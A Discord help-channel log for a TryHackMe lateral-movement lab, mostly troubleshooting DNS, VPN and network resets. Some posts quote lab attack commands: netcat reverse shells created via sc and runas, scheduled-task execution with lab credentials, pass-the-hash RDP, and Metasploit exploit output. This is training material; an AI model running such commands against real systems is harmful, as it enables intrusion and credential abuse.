#lateral-movement-and-pivoting

1 messages Β· Page 1 of 1 (latest)

slow cedar
#

Guys, I cannot access the distributor.za.tryhackme.com machine. I have set the DNS settings from my NetworkManager and restarted the service. I think there's some issue with the DNS server on the DC? I can't ping the DC using its hostname, pinging on the IP works fine though.

blissful current
#

did you set it under ect or ect/systemd

slow cedar
#

Yeah, did everything as mentioned. Doesn't seem to work for me.

shadow linden
#

Are you using the attackbox or your own machine?

slow cedar
#

Using my own machine.

#

Changed my networkmanager settings to use the thmdc IP as DNS.

tender willow
#

Adjusting that config file helped my dns issue

#

More than likely its set to nameserver <your VM subnet GW>

tough marten
#

Can someone vote a reset for the 10.200.71.101 network, please πŸ™‚

toxic harness
#

once again πŸ‘€

tough marten
#

thnx πŸ™

humble crag
#

Gents, last task for the room, port 7777 is already in use on the AttackBox, you need to change it to a free port

#

And ladies of course

#

and everyone else playing the room

feral granite
#

Where is your level!? πŸ˜‚

humble crag
#

I think it is GOD mode…

willow mountain
#

how to connect to this room running this nslookup thmdc.za.tryhackme.com 10.50.49.139 says ;; communications error to 10.50.49.139#53: connection refused

#

└─# cat /etc/resolv.conf

Generated by NetworkManager

nameserver 10.50.49.139
search 10.50.49.139
search 8.8.8.8

toxic harness
willow mountain
#

like this

#

└─# cat /etc/resolv.conf

Generated by NetworkManager

nameserver 10.200.51.101
nameserver 10.50.49.139
search 10.50.49.139
search 8.8.8.8

toxic harness
#

remove that nameserver line of your own ip :)

willow mountain
#

thanks its working now ^^

fleet vessel
#

Is someone else having trouble with the DNS resolution on the attack box?

feral granite
fleet vessel
honest steppeBOT
#

Gave +1 Rep to @feral granite

fleet vessel
#

Sometimes I can connect but then I get broken pipe

#

I think I figured it out, maybe you can only have one VPN connection open to the network?

#

Since I turned off the connection from my local machine it seems to be working fine

feral granite
#

Yes, and the VPN config pack is exclusive to that room.

shrewd scaffold
#

To connect to a machine via winrm, do we need to add the user a local administrator group in the target PC or it will work even if it added on different local group?

untold canopy
#

why does it constantly disconnect

#

like not 3 minutes later

untold canopy
#

Currently trying out other ways listed in task 4 and cannot seem to get scheduled tasks to connect back remotely I am doing the following




schtasks /s 10.200.51.201 /run /TN "legitTask" /u ZA.TRYHACKME.COM\t1_leonard.summers -p EZpass4ever  ```
shadow linden
shadow linden
#

.

shadow linden
untold canopy
honest steppeBOT
#

Gave +1 Rep to @shadow linden

untold canopy
#

I managed to fix my connection issues just ended up getting stuck trying the other methods

shrewd scaffold
ripe nebula
#

RDP has its own group, unless I'm misunderstanding you

#

Remote Desktop Users

shrewd scaffold
#

Yeah I misunderstood it then

shadow linden
# shrewd scaffold Although I can see there is a different group which is used for WinRM access. ...

There's a couple of ways to go about it, I think. There's some more info about how access to WinRM works on the Windows Local Persistence Room (task 2) in case you are interested: https://tryhackme.com/room/windowslocalpersistence

potent meteor
#

I am the only who have problems with setting DNS on AttackBox?

#

Even after using "systemctl restart systemd-resolved"

#

I even terminated AttachBox machine and started it again...

shadow linden
#

try the pinned message solution

#

it should work in case the attackbox is being funny

potent meteor
#

;; connection timed out; no servers could be reached

#

Should I wait for some time?

shadow linden
#

What's your assigned THMDC IP address?

potent meteor
#

10.200.75.101

shadow linden
#

That network seems to be down

#

can you make sure it is started, and if so send a reset for it

potent meteor
#

πŸ˜…

#

yes, I sent

#

But I need 4 more votes

potent meteor
#

So, what should I do?

shadow linden
#

now the IPs are up

#

the servers should take around 4 mins to start

#

and then all should be working fine πŸ™‚

potent meteor
#

Yes, I saw it now after refreshing web page. I started it now. Should I let you know if all is OK? Btw, thanks!

shadow linden
#

You shouldn't have any further issues, hopefully, but feel free to write if you do

shrewd scaffold
#

Why does this service does not run in the backround

sc \\thmiis.za.tryhackme.com create shell binPath="C:\Temp\nc64.exe 10.200.51.249 -e C:\Windows\System32\cmd.exe 4242" start=auto
sc \\thmiis.za.tryhackme.com start shell
... Cmd is now blocked ...

AFAIK, services are supposed to run in the background context

rose kernel
shadow linden
untold canopy
shrewd scaffold
#

anyways I got the answer, also I am not fully going through the description, rather exploring it on my own

#

Can someone submit reset request? I can connect to the SSH but same credentials are not working for RDP

potent meteor
#

What is problem with networks on THM? Precisely, Pivoting and Lateral Movement AD. Network is constantly UP and DOWN. I need to reset 10 times in 10 minutes

#

And in the end, it ends with network being down again..

#

Doing anything is useless, because it is falling down every 20-30secs after restarting it.

potent meteor
#

Hello, does anyone know if it's possible to do the other methods explained on task 3? I've tried using psexec and it doesn't seem to work.

untold canopy
potent meteor
honest steppeBOT
#

Gave +1 Rep to @untold canopy

untold canopy
shadow linden
potent meteor
valid glade
#

Keep getting this error... Is this okay?

#

Not necessarily an error I guess, it's just that this should be resolving to the THMDC ip

#

I already setup the DNS config and restarted NetworkManager

#

Exact same setup (except different DC IP) worked in previous AD rooms (enumerating and breaching AD)

feral granite
#

Can you cat /etc/resolv.conf

feral granite
valid glade
#

@feral granite

#

Weird right?

#

Just saw this message, oh well πŸ€·β€β™‚οΈ

shadow linden
#

In your case, nslookup is trying to resolve using 1.1.1.1

#

it may work for you if you just erase the rest of entries there

valid glade
#

Yes, but 1.1.1.1 is for internet access. Also, it into falls back on 1.1.1.1 after it's determined that the DC doesn't offer recursion.

shadow linden
#

That makes sense

valid glade
#

Like I noted earlier, in the previous 2 rooms, nslookup worked as expected. Possibly this room's DC is configured slightly different?

shadow linden
#

Yes it is

valid glade
#

Ahh

copper hemlock
#

may I know on what should I do to get the flag on task 3?

#

I'm getting this message after I execute flag.exe

#

Sorry! You are still missing something. No flag for you yet. (1)

shadow linden
#

This means you are probably using the wrong user to access the flag

#

are you connecting as t1_leonard.summers to THMIIS?

copper hemlock
#

yes

shadow linden
#

Just to make sure, could you send me a screenshot of the last commands you ran?

#

You can DM it to me

pearl hinge
#

What's Going on?

#

But Other AD Network like enumerating AD and breaching AD can Connect Successfully

shadow linden
pearl hinge
#

Yes I tried

#

But still this ip

#

πŸ₯²

pearl hinge
shadow linden
#

Can you DM me to check this?

pearl hinge
#

Ok

valid glade
#

Having an issue with the connection now

#

According to the access page I'm connected to the vpn, but now I cannot connect to any of the hosts, as can be see in the screenshot of the kali vm

#

Everything was working just fine about 30 minutes ago and while I was typing out the runas command in Task3, I got a broken pipe

lost tinsel
#

you can see that it doesn't use the correct DNS to lookup, can you try and remove the 2 other nameservers?

valid glade
#

tried already

lost tinsel
#

or just restart your dns

valid glade
#

that too

lost tinsel
#

tried turning it off and on again?

#

and how does your network look like, is it running? (shows on the page)

valid glade
#

Yes

#

And yes

lost tinsel
#

hmmm

valid glade
#

also regenerated my vpn configuration

#

no change

rose kernel
# valid glade no change

It seems to still try to resolve the DNS name at 1.1.1.1 and not the actual DC. What happens if you do nslookup thmdc.za.tryhackme.com 10.200.51.101?

valid glade
rose kernel
untold canopy
#

@shadow linden im walking through the machine again and the premission for Leonard seem to be broken

#

excuting :

shadow linden
#

If I remember correctly, to get there you have to do a runas

#

yeah that one

untold canopy
#

for the shell to then use services

shadow linden
#

chances are you mistyped the password

#

runas won't do any checks to see if the password is correct because of the /netonly flag

#

so if your password is wrong, you should get access denied afterwards

#

in any subsequent command that actually tries to use the credentials

untold canopy
shadow linden
#

That happens to me a lot as well πŸ₯²

untold canopy
copper hemlock
#

hello, noob question. may I know what is wrong am I doing with task 7? I'm getting this error with metasploit.

#

msf5 exploit(windows/http/rejetto_hfs_exec) > exploit

[-] Handler failed to bind to 127.0.0.1:7777:- -
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (127.0.0.1:7777).
[*] Exploit completed, but no session was created.

shadow linden
#

that means port 7777 is already being used by some other service in your machine

#

so just change the port number you are using and that should work

#

you can check who is using the port currently with ss -lpunt

#

you need to be root to see the name of the process attached to each port though

copper hemlock
#

thanks @shadow linden ! It worked. Finished the network/room πŸ˜ƒ

honest steppeBOT
#

Gave +1 Rep to @shadow linden

shadow linden
#

Congrats!

copper hemlock
#

thanks!

valid glade
honest steppeBOT
#

Gave +1 Rep to @rose kernel

valid glade
#

Having some trouble with the Tunneling Complex Exploits section. When I try to create the tunnels, I get an error saying that my machine (attacker machine) port 22 is refusing connections. I'm not sure what to do to fix this. I started a listener on port 22 on my machine (attacker), which seems to allow the tunnel to work, but whne I run the exploit in metasploit, I get a message saying that the exploit has run but no session was created. Anybody able to lend a hand?

valid glade
#

omg didn't even pay attention, the ssh service is disabled by default on my vm

lilac hedge
#

Good day,

I am new to THM, most of my time has been spent on HTB. This is my first experience using DNS in an online platform like this and this lab has been a horrible experience as DNS keeps failing.

I have tried both the online attack box and my local kali instance and both with the same result. I have had the best luck with the online attack box though. I have been trying to complete task 3 for 2 days now. DNS will work and then half way through the lab it fails to resolve FQDN. I have restarted "systemd-resolved" many times and did a dig on the domain "za.tryhackme.com" with negative results.

In a attempt I was pretty sure wouldn't work, I placed the respective IP/FQDM in /etc/hosts, but as expected it didn't work.

These labs would be quite good, but DNS is more than raining on this parade.

It would make the lab experience better if you could reboot/revert machines without 5 votes. That way the issue would be temporarily fixed till DNS failed again. But at least the user could solve the issue rather quickly.

Also, I had tried the labs on another computer to make sure it wasn't my PC causing the issue.

Any thoughts @shadow linden?

glass bronze
#

I've been having this issue too, especially today. It's been temperamental before but today it just isn't connecting to the DNS. Restarted the network and still having the same issue on a few devices

honest steppeBOT
#

Gave +1 Rep to @glass bronze

glass bronze
lilac hedge
#

Now I am getting "broken pipe" errors on THMJMP2 port 22. 😦.

glass bronze
lilac hedge
#

I think I will put a nail in this coffin for today, or at least till we hear back from the THM staff. Wasted WAY too much time on this, very disappointing.

#

Hope you have a good day!

glass bronze
shadow linden
# lilac hedge Good day, I am new to THM, most of my time has been spent on HTB. This is my fi...

Hey @lilac hedge, I'm sorry you were having this issues. As far as any reports we've had, the main problem is mostly the attackbox client-side configuration not sticking for some reason. If you are using the attackbox, there is a pinned solution that should work a bit better for you. If using your own machine, I'm more than happy to provide any support if needed, but that will depend on the specific OS you might be using. The DNS server has been working fine (as far as I've seen), but if you feel it might be responsible for the issues you are facing, please send me some additional info so I can try to pinpoint the problem.

Regarding the SSH broken pipes, maybe you are using THM's VPN on top of some other VPN like ExpressVPN or the like? This sounds like an MTU problem that may arise if doing so.

lilac hedge
#

Good day @shadow linden,

Thanks for your response. I really enjoy your lab content and once I get the lab DNS under control the experience will be complete. Thanks for putting the content together for us.

I will test today, but yesterday when using the THM Attack Box if I ran the cmd "systemctl restart systemd-resolved" x 2 (twice) DNS would work again. If it stopped working at some point I used the same technique to be able to resolve FQDNs again. Hopefully this will be a workaround for me and maybe for others. I will also check out the pinned solution you mentioned.

In respect to the broken pipes, I am not employing another VPN on top of the THM VPN. After taking a break from the labs for a bit the issue went away and hasn't returned so far. 🀷

Have a great day. Cheers.

honest steppeBOT
#

Gave +1 Rep to @shadow linden

shadow linden
#

This should be a solid way to configure the DNS on the attackbox. Let me know if this improves anything.

lilac hedge
honest steppeBOT
#

Gave +1 Rep to @shadow linden

cyan frigate
#

Hi guys, im facing a problem where i am able to upload a reverse shell .php to a dolibarr cms. When trying to executing the file, it is downloaded instead of executing. Help needed on this

vestal flame
#

TBH worst rooms THM crated is AD all of them have vpn issue connection

#

Any one working right now fi lateral-movement room?

#

Is it working at all?

#

I can not even ping THMDC

shadow linden
#

Hey there, glad to help you with that. Can you DM me so we can check what might be happening?

shadow linden
#

I sent you a friend request

vestal flame
#

Hello guys could you do me a favor to reset the room we need two more vote

glossy parrot
#

Hi ! When trying to use .msi files on the IIS, I'm getting this error :

#

Do i have to reset the network ?

shadow linden
#

you need to replace TARGET with the machine you want to move to

glossy parrot
#

Damn

#

Was just tired

#

Thank

#

And yes it’s way better now πŸ˜‚πŸ˜…

amber wigeon
#

@shadow linden hi, maybe you can update this part and include a link.

amber wigeon
#

thank you @shadow linden

honest steppeBOT
#

Gave +1 Rep to @shadow linden

latent owl
amber wigeon
honest steppeBOT
#

Gave +1 Rep to @latent owl

glossy parrot
#

Hello ! I'm a bit stuck at Kerberos but I have literally no idea why... Does anyone know what's wrong in what I'm trying to do ?

#

||I've tried with the last digit and without, but I don't think the thing is there||

quaint fox
#

@shadow linden hello , I have set my DNS server to DC in /etc/resolved.conf and also started the services , but when i do nslookup on DC it's showing error like this : ;; Got recursion not available from 10.200.64.101, trying next server

gloomy knot
#

Having a hellofa time with DNS in task 1. I'm using my own Kali attack VM. I'm green checks on the connection tab to the Lateralmovementandpivot VPN server and the DNS in NetworkManager was appropriately set to 10.200.75.101. I can ping this IP address but when I nslookup thmdc.za.tryhackme.com, I get:

** server can't find thmdc.za.tryhackme.com: NXDOMAIN

The Server it's using is 192.168.57.2, which is not the DNS specified in NetworkManager. When I look at all the interfaces that are up, that one matches my eth0 IP instead of lateralmovement. Anyone with any ideas or additional troubleshooting steps?

gloomy knot
#

I moved on to using the built-in Ubuntu attack machine and DNS seems to be fine in here. I'll continue this way.

shrewd scaffold
shrewd scaffold
#

I am not able to get the reverse shell as t1_toby.beck user. This is the PTH command

#

Also the following command giving me the account restriction error

xfreerdp /v:thmjmp2.za.tryhackme.com /d:za /u:t1_toby.beck /pth:533f1bd576caa912bdb9da284bbc60fe

Can someone allow this user to login via RDP? Need to take few screenshots as PoC πŸ˜…

shrewd scaffold
shrewd scaffold
#

I am not to hijack the session of the t1_toby.beck user. Any think I am missing

shadow linden
shadow linden
shrewd scaffold
#

tier 2 admin

shadow linden
#

that won't be enough

#

you need to psexec into SYSTEM before attempting RDP hijacking

shrewd scaffold
#

Ah so psexec for system. got it

#

Wondering if we can use runas for system user or psexec is required

shadow linden
#

I don't think you are allowed to runas as SYSTEM, but I might be wrong

#

I'd guess runas will probably throw an error on it, or just ask you for a password.

potent meteor
#

hmm cant connect to the network on my VM, file regenerated no IP displayed for the VPN but ip a show that i'm on the network resloved.conf is good, why is it not working? (working good with attackbox)

#

thx

lilac kite
potent meteor
lilac kite
potent meteor
#

i have tested first with my VM

#

let me kill the attackbox

#

and with this first test nothing then tested on the attackbox and then working

#

i have still nothing

lilac kite
potent meteor
#

on it

lilac kite
shadow linden
#

Subnet 64 is working

potent meteor
#

thmdc 10.200.64.101

lilac kite
potent meteor
#

yep

#

but no resloved

#

resolved sorry

lilac kite
potent meteor
#

kali for the VM and the other for attackbox

#

the edit connection method not directly edit resolved.conf

lilac kite
#

you might need to just run sudo systemctl restart NetworkManager twice? sometimes that does it for me

potent meteor
#

done it

#

but will do it again;)

shadow linden
#

If that doesn't work, Kali might be prioritizing your local DNS over the one in the network

potent meteor
#

(was not the case for the two other networks btw)

#

(if it's the case)

shadow linden
#

in that case, you'd have to manually edit resolv.conf and delete any DNS that isn't THMDC

lilac kite
potent meteor
#

will try at first sec

shadow linden
#

if you send us a capture of nslookup thmdc.za.tryhackme.com we can be sure of what DNS is being taken into account

potent meteor
#

THM is in first position

#

(no issue, well not as much issues for the other networks;))

shadow linden
#

nslookup isn't playing nicely with that network, but the rest should probably work

feral granite
#

Try runnning the nslookup command in root.

potent meteor
#

wtf ^^ @shadow linden I can connect ^^

shadow linden
#

Yeah... nslookup is just ignoring the DNS, but other programs should work OK with it

potent meteor
#

@feral granite

shadow linden
#

you can do the room that way

potent meteor
#

at long last πŸ™‚

shadow linden
#

just don't mind nslookup

potent meteor
#

I hope it can help some others;) getting back to work now

#

thx @shadow linden

honest steppeBOT
#

Gave +1 Rep to @shadow linden

potent meteor
#

thx @lilac kite and @feral granite

feral granite
#

When I did the final room, nslookup would only work for me in root πŸ˜‚

potent meteor
#

well if we are unable to manage this kind of situation, let's change of hobby πŸ™‚ THX ALL !

lilac kite
#

well, that's an interesting one...

potent meteor
#

^^

shadow linden
#

Apparently this is a known thing with the way nslookup deals with the very specific setup where you have more than a DNS server configured, and the first one doesn't have recursion enabled https://github.com/coredns/coredns/issues/3835

GitHub

I'm upgrading my coredns installation from v1.1.3 to v1.6.7 I'm running coredns in kubernetes with the following setup: a set of coredns pods as main k8s cluster DNS available at 10...

potent meteor
#

thx !

shrewd scaffold
#

Hey @shadow linden are there any labs for mssql abusing on thm?

lilac kite
shrewd scaffold
honest steppeBOT
#

Gave +1 Rep to @lilac kite

tepid goblet
#

Can I get some help with the HOLO network. I am at task 36. For some reason mimikat wont run properly. I do have what I did documented. Any help
would be great. I wanted to create a shell but have some questions about the chisel set up on my client

feral wing
feral wing
lilac kite
#

Nope, wrong one, ignore that.

#

If you can't ping the IP, it's possible the network isn't running. Refresh the page and click the start button. Also what subnet are you in?

feral wing
#

I Can Ping 10.200.51.101 (dc) i can’t Ping by name . Tried removing the dns and spawning new attack box. But can’t ping by name thmdc*****

lilac kite
# feral wing I Can Ping 10.200.51.101 (dc) i can’t Ping by name . Tried removing the dns and ...

And you've done the systemctl restart thingy command? Sometimes that needs to be run twice to get things going πŸ€·β€β™‚οΈ failing that you could edit /etc/resolv.conf directly and it should work, but know that the attackbox will revert your changes after some point, so you'll have to remake them.

It might also be a good idea to run ip a and if you have multiple 10.50 addresses, leave the previous AD networks you've likely recently completed (leaving them doesn't reset progress), and then when you restart your attackbox it'll only be connecting to one VPN profile (it auto connects to your openvpn network profiles)

feral wing
#

will give it a go ... i will get back to you later have to go .. Thank you so much for the help @lilac kite

honest steppeBOT
#

Gave +1 Rep to @lilac kite

lilac kite
#

I might not be around later today, but someone will be

hybrid kestrel
#

i am have same problem as to other people

I cannot resolve

shadow linden
#

if it works, then you can just ignore nslookup and continue with the rest of the rom

shadow linden
#

the room should work though πŸ™‚

hybrid kestrel
shadow linden
#

Just don't mind nslookup. Other thools shouldn't behave that way

hybrid kestrel
#

there is a problem as I can not connect VPN

#

is there a support person to look into this issue

shadow linden
#

I can look into it, but it would seem you are already connected from the previous images

hybrid kestrel
#

not anymore

#

I got disconnected and cant connect again

#

i am just rebooting my kali to take that out of the equation

shadow linden
#

alright. If that doesn't work, just send a screenshot of the error you are getting and I'll check

hybrid kestrel
shadow linden
#

by any chance, are you also running the attackbox on the website?

hybrid kestrel
#

let me check

#

no attack box is not running

shadow linden
#

can you DM me to continue checking on this?

full drum
#

!vpnscript

storm charmBOT
full drum
#

guess you have already tried this???

#

if not it is worth a shot

lilac kite
shadow linden
rich prairie
#

Anyone else having issues getting the reverse shell in task 3 via the runas command? It looks like it's executing on the THMJMP2 terminal but I don't receive anything on my NC listener

rich prairie
#
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe 10.10.192.173 4443"                                                          

Enter the password for ZA.TRYHACKME.COM\t1_leonard.summers:                                         

Attempting to start c:\tools\nc64.exe -e cmd.exe 10.10.192.173 4443 as user "ZA.TRYHACKME.COM\t1_leonard.summers" ... 
#

Not seeing any errors 😦

shadow linden
#

🧐

rich prairie
#

lol ❀️

shadow linden
#

if you manually run c:\tools\nc64.exe -e cmd.exe 10.10.192.173 4443, does it work?

rich prairie
#

one sec ... i'll try it

#

it does not, it hangs for a bit, completes, and then nothing on the listener still

shadow linden
#

maybe someone else replaced the nc64.exe executable?

#

can you try nc64.exe -h?

#

it should at least show the help

rich prairie
#

yes it does

shadow linden
#

can you ping your DC from the attackbox?

#

maybe it disconnected

#

all you are doing should work

rich prairie
#

I can ping the IP, and FQDN of the DC

#

I'm going to take a break to grab some lunch, and restart my attack box etc and start from the beginning, if I run into the same issue i'll ping you again

shadow linden
#

alright!

rich prairie
#

thanks @shadow linden ... i really like the way the room is laid out though!

honest steppeBOT
#

Gave +1 Rep to @shadow linden

shadow linden
#

The vulnerable network can't reach your eth0 on the attackbox, so you get nothing.

rich prairie
#

This makes sense, thanks i'm going to give it another try now

#

It's totally in the instructions on task 1 ... that i totally didn't skip over ... lol

shadow linden
#

Glad it works now!

rich prairie
#

again appreciate your help, thanks @shadow linden

honest steppeBOT
#

Gave +1 Rep to @shadow linden

rich prairie
#

got through the whole room, just getting hung up on the last thing with rejetto, and i'm probably because i'm making a mistake

jagged temple
rich prairie
#

Yeah i just realized my mistake, in metasploit i was setting the srvhost instead of the srvport

jagged temple
rich prairie
#

Yup got it. woo

jagged temple
shadow linden
#

You mean with the user you are getting from the distributor?

#

could you send a screenshot of the command and the error?

#

Did you try changing the tunneluser's password?

#

yes, the command will hang there until you close it

mint knot
#

is there some trick to getting the network back up successfully? was working moments ago and it shut off. I hit start, and it's now 10 minutes and still nothing seems up.

#

I will try the attackbox.

shadow linden
mint knot
#

next time it's up I'll see if pings work, just because that's quicker testing. πŸ˜„

stone nexus
feral granite
#

Have you sorted the recolve.conf?

stone nexus
#

yp

opal thicket
#

I have the same issue that 3RB

next arrow
#

Hello mate, please I need help with lateral movement task 7 Tunneling complex exploits, the putting whole command together part is confusing and I’m having hard time getting over it I’m I suppose to ssh using the username I login with by replacing tunneluser@attacker_Ip , if no I keep getting prompt to input a password after the initial command what I’m I doing wrong need some help thanks

stone nexus
#

now i have this error MOZILLA_PKIX_ERROR_SELF_SIGNED_CERT

crisp solstice
#

same as other network ad room, the network in unstable, it is impossible to do the room

#

using the attackbox :

root@ip-10-10-157-29:~# nslookup thmdc.za.tryhackme.com
Server:        127.0.0.53
Address:    127.0.0.53#53

Non-authoritative answer:
Name:    thmdc.za.tryhackme.com
Address: 10.200.51.101

root@ip-10-10-157-29:~# nslookup thmdc.za.tryhackme.com
Server:        127.0.0.53
Address:    127.0.0.53#53

** server can't find thmdc.za.tryhackme.com: NXDOMAIN
#

sometimes resolv works, 15sec after it doesnt work

limpid crypt
#

Hi!
Hmm, someone else has encountered.
Task 4 Moving Laterally Using WMI
I did everything as in the task point by point.
Got a shell.
But the exe file with the flag refuses to run.

Sorry! You are still missing something. No flag for you yet. (7)
It was done this way on purpose))
==========
It's all good.
A strange glitch.
At the end of the day, I did all the same operations again and the flag was displayed without an error.coolguy

opal thicket
opal thicket
#

no, it get the site ot found:

lilac kite
#

And could you run ip a ?

crisp solstice
#

@lilac kite , finally, i got the same trouble as the enumerating-ad network room.
i exit other network room and i got the same trouble.

# nslookup thmdc.za.tryhackme.com
Server:        127.0.0.53
Address:    127.0.0.53#53

** server can't find thmdc.za.tryhackme.com: NXDOMAIN

Around every ~1 or 2min, nslookup failed.
i had to systemctl restart, then 2min later, it fails again.

# systemctl restart systemd-resolved
# nslookup thmdc.za.tryhackme.com
Server:        127.0.0.53
Address:    127.0.0.53#53

Non-authoritative answer:
Name:    thmdc.za.tryhackme.com
Address: 10.200.64.101

# nslookup thmdc.za.tryhackme.com
Server:        127.0.0.53
Address:    127.0.0.53#53

** server can't find thmdc.za.tryhackme.com: NXDOMAIN
#
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc mq state UP group default qlen 1000
    link/ether 02:5e:46:43:4d:c7 brd ff:ff:ff:ff:ff:ff
    inet 10.10.12.158/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::5e:46ff:fe43:4dc7/64 scope link 
       valid_lft forever preferred_lft forever
3: lateralmovement: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 100
    link/none 
    inet 10.50.61.129/24 brd 10.50.61.255 scope global lateralmovement
       valid_lft forever preferred_lft forever
    inet6 fe80::420e:995c:8b00:ade5/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever
4: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:5b:0b:b7:40 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:5bff:fe0b:b740/64 scope link 
       valid_lft forever preferred_lft forever
6: veth943a3aa@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether e6:65:6d:60:9e:99 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::e465:6dff:fe60:9e99/64 scope link 
       valid_lft forever preferred_lft forever
8: veth3251118@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether 4a:97:f5:05:d1:dc brd ff:ff:ff:ff:ff:ff link-netnsid 1
    inet6 fe80::4897:f5ff:fe05:d1dc/64 scope link 
       valid_lft forever preferred_lft forever
tiny bramble
#

can the user_flags be deleted??i think someone has deleted for the flag of Leonard.summers

tiny bramble
#

it says the flag will be found under Leonard's Desktop after running flag.exe but didn't find the flag.exe ```
Directory of C:\Users\t1_leonard.summers\Desktop

06/15/2017 06:29 PM <DIR> .
06/15/2017 06:29 PM <DIR> ..
06/21/2016 03:36 PM 527 EC2 Feedback.website
06/21/2016 03:36 PM 554 EC2 Microsoft Windows Guide.website
2 File(s) 1,081 bytes
2 Dir(s) 8,380,841,984 bytes free

wicked prism
#

are you sure flag.exe isn't somewhere else? it reads to me like you run flag.exe, which will then generate a flag.txt in the directory you're in. @tiny bramble

hybrid gulch
#

Anyone run into issues when receiving the shell at the end of task 3 from THMIIS? I get the connection when starting the services of the uploaded exe. But if I try to type anything like "hostname or whoami" the shell closes.

hybrid gulch
#

It looks like it may be because the msfvenom .exe running on the port 4444 we started won't stay running after starting it. sc query shows it in the stopped state if you check right after.

#

well nvm, its staying open now.. I see bidirectional traffic in wireshark between my vpn ip and thmiis.... but the shell gets no returns it's just blank, I guess I'll try stabilizing it

full drum
#

sigh @dry summit ⬆️

dry summit
lilac kite
crisp solstice
#

@lilac kite , All commands from attacker box, whole result, no sort

lilac kite
hybrid gulch
full drum
hybrid gulch
#

oh sorry ha

full drum
#

no problem

hybrid gulch
#

no worries tho

keen yoke
#

Unable to resolve name with THMDC

#

Able to ping 10.200.64.101 though

#

Running from AttackBox

carmine sinew
#

Hi guys I cannot connect to lateral movement network. I used attackbox kali vm and my own machine and none of them did not connect to network

full drum
carmine sinew
#

Regenerate vpn
add dns DNS=<THMDC 10.200.51.101>
restart services
still there is no connection

#

And its about 5 minutes network trying to reset but it looks like it's stucked

full drum
#

oh okay then that is not the cause of your problem

#

thought it might have been the standard vpn issue

#

but that seems like another problem

carmine sinew
carmine sinew
#

@bronze flame hello admin is there any problem in lateral movement lab? Network status stuck at resetting

full drum
#

doubt hydra can help but jabba might be able to as they are thm staff

carmine sinew
full drum
#

@azure bronze

azure bronze
carmine sinew
#

Hey could yo please help me with this problem?

carmine sinew
honest steppeBOT
#

Gave +1 Rep to @azure bronze

azure bronze
shadow linden
#

if the website doesn't work, check the pinned message in this channel for a solution on getting your DNS configured properly

tiny bramble
#

it's for the lateral movement and pivoting and the rdp connection cert keeps on ignoring ```
β”Œβ”€β”€(rootγ‰Ώkali)-[~]
└─# xfreerdp /v:thmjmp2.za.tryhackme.com /u:t2_jessica.richards /p:o6R9PfosU /cert-tofu
[13:56:00:101] [11899:11900] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0

tiny bramble
# shadow linden Hey there, there is a known issue with nslookup in the lab. Can you try just nav...

ping is working β”Œβ”€β”€(rootγ‰Ώkali)-[~] └─# ping thmdc.za.tryhackme.com PING thmdc.za.tryhackme.com (10.200.64.101) 56(84) bytes of data. 64 bytes from 10.200.64.101 (10.200.64.101): icmp_seq=1 ttl=127 time=418 ms 64 bytes from 10.200.64.101 (10.200.64.101): icmp_seq=2 ttl=127 time=630 msbut the creds site is not responding ```
Hmm. We’re having trouble finding that site.

We can’t connect to the server at distributor.za.tryhackme.com.

If that address is correct, here are three other things you can try:

Try again later.
Check your network connection.
#

the DNS has been configured correctly like i did for the other rooms about AD too but this one ain't working now, before it does

shadow linden
#

if the ping works, the DNS is working

#

let me just check if the server is working

tiny bramble
honest steppeBOT
#

Gave +1 Rep to @shadow linden

shadow linden
#

the server is up and running

#

all I can think of are issues with your browser cache not updating

#

if you do curl -v http://distributor.za.tryhackme.com/creds what do you get?

tiny bramble
#
β”Œβ”€β”€(rootγ‰Ώkali)-[~]
└─# curl http://distributor.za.tryhackme.com/creds
curl: (6) Could not resolve host: distributor.za.tryhackme.com
shadow linden
#

ah then your DNS isn't working anymore

#

try this

tiny bramble
shadow linden
tiny bramble
#

ok

woeful canopy
#

I'm on day 3 of a vpn connection loop for lateral. Not sure what to try to fix. I have left the room, regenerated and redownloaded the config, waited for a network reset. Anything else I should try?

shadow linden
lime garden
#

Big shout out to @shadow linden for this room. Really well done and easy to follow. Great explanation on the Port Forwarding section. The Tunnelling Complex Exploits section was really cool and well explained.

hasty relic
#

hey folks, I've been struggling with this room for 2 evenings in a row now, I can't seem to connect to the DC.

I use the command mentioned in the intro systemd-resolve --interface lateralmovement --set-dns 10.200.51.101 --set-domain za.tryhackme.com . After that, the creds page is timing out, nslookup thmdc.za.tryhackme.com is timing out too etc. I'm using the THM Attack Box. Suggestions greatly appreciated.

shadow linden
hasty relic
honest steppeBOT
#

Gave +1 Rep to @shadow linden

shadow linden
#

that's weird... Let me check if the network is working as expected then

#

the network is down from my end

#

if you refresh the website and it still appears as started, then you may need to reset the network

hasty relic
shadow linden
bright jackal
#

Lol it's cool how yall know all these stuff😯

hasty relic
honest steppeBOT
#

Gave +1 Rep to @shadow linden

shadow linden
hasty relic
#

hey @shadow linden I can confirm the issue is resolved after a network reset, thanks again. πŸ‘

honest steppeBOT
#

Gave +1 Rep to @shadow linden

hybrid gulch
#

Anybody got a hint for what is needed to run the flag.exe? keeps saying you're missing something no flag for you. 😦 lol

carmine sinew
#

Who is active in network?

#

